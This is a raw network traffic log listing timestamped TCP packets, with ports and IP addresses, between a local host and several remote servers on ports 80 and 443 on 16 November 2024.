Nov 16, 2024 13:01:40.358186960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358196020 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358211040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358222008 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358234882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358243942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358247042 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358247042 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358256102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358288050 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358288050 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358314037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358316898 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358323097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358335018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358376026 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358383894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358383894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358387947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358400106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358412027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358434916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358434916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358511925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358522892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358526945 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358536005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358555079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358555079 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358555079 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358567953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358572006 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358577967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358588934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358611107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358628035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358628035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358757973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358767986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358778000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358791113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358810902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358833075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358860016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358875990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358886957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358899117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358903885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358911991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358927011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358930111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358930111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358941078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358947992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358958960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358972073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358972073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358994007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359031916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359055996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359074116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359086037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359102011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359112978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359133959 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359134912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359153032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359164000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359172106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359198093 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359198093 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359249115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359265089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359273911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359287977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359287977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359333038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359333038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359366894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359540939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359541893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359559059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359570026 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359580994 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359591007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359596968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359596968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359602928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359616995 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359621048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359633923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359651089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359661102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359662056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359662056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359672070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359689951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359700918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359704018 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359713078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359724045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359735012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359739065 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359739065 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359745979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359757900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359771967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359786034 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359786987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359786034 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359802008 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359821081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359829903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359838009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359848022 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359848976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359848976 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359863997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359874964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359878063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359878063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359886885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359935045 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359935045 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.359958887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359970093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359978914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.359997988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.360009909 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.360018015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.360023975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.360023975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.360071898 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.360071898 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.368335962 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.368365049 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.368438959 CET	49900	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.368453026 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.368470907 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.368516922 CET	49900	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.368657112 CET	49900	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.368670940 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.368681908 CET	49900	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.368689060 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.372730970 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.372791052 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.372888088 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.372895002 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.372921944 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.372987986 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.373002052 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.373016119 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.373035908 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.373087883 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.373111963 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.373502016 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.373564005 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.374464035 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.374555111 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.374567986 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.374707937 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.377245903 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.377281904 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.377340078 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.377376080 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.377398968 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.377423048 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.383518934 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.383543015 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.383577108 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.383591890 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.383616924 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.383635998 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.384530067 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.384562969 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.384599924 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.384610891 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.384643078 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.384659052 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.385051966 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.385108948 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.387628078 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.387653112 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.387706041 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.387717009 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.387743950 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.387762070 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.387870073 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.389142036 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.389210939 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.389281034 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.389761925 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.389781952 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.389822960 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.389834881 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.389867067 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.389893055 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.390252113 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.390263081 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.390274048 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.390280962 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.390678883 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.390753031 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.391566992 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.391639948 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.391724110 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.391879082 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.391906977 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.391923904 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.391932011 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.393771887 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.393817902 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.393877029 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.393898964 CET	49916	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.393919945 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.393970966 CET	49916	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.394100904 CET	49916	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.394112110 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.394159079 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.394179106 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.395114899 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.395133018 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.395175934 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.395200014 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.395222902 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.395311117 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.395328045 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.395391941 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.395399094 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.397468090 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.397511959 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.397646904 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.397782087 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.397793055 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.398713112 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.398731947 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.398775101 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:40.398792982 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.399342060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.399357080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.399369001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.399380922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.399394035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.399445057 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.399446011 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.399650097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.399714947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.399766922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.399768114 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.400063038 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:40.400110006 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.400172949 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:40.418287039 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.418307066 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.418365002 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.418369055 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.418378115 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.418379068 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.418395042 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.418402910 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.418425083 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.418436050 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.418447971 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.418462038 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.418466091 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.418488026 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.418508053 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.419671059 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.419698000 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.419713974 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.419754028 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.419755936 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.419780970 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.419800997 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.419801950 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.419827938 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.419831038 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.419867039 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.421185017 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.421202898 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.421243906 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.421262026 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.421292067 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.421303988 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.421338081 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.421353102 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.422157049 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.422177076 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.422213078 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.422246933 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.422293901 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.422302961 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.422425985 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.422620058 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.423664093 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:40.423695087 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:40.423787117 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:40.424490929 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:40.424515963 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:40.426431894 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.426446915 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.426491022 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.426497936 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.431629896 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.431653976 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.431744099 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.431984901 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.431998968 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.445393085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.445452929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.445453882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.445470095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.445611954 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.465481997 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.465507984 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.472786903 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.472806931 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.472850084 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.472850084 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.472873926 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.472898006 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.472963095 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.473001003 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.473423004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473452091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473467112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473483086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473499060 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473499060 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473500013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473526001 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473611116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473647118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473647118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473711967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473728895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473768950 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473838091 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473841906 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473856926 CET	80	49802	185.215.113.206	192.168.2.5
